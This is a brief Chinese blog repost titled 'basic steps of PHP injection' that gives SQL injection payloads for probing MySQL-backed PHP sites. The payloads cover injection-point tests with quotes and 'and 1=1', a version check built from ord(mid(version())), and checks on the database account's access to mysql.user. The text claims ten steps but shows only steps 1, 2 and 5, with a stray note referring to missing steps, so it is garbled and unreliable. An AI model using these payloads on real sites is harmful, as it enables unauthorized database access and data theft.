天天看點

php注入基本步驟

php注入十點基本步驟

1、判斷是否存在注入,加'、and 1=1、and 1=2

2、判斷版本and ord(mid(version(),1,1))>51代替。

(可在分别用user()、database()、version()進行替換報出的數字進而檢視資訊)

5、判斷資料庫連接配接帳号有沒有寫權限,and (select count(*) from mysql.user)>0ord(mid(user(),1,1))=114/*

轉載于:https://www.cnblogs.com/baogg/articles/2029960.html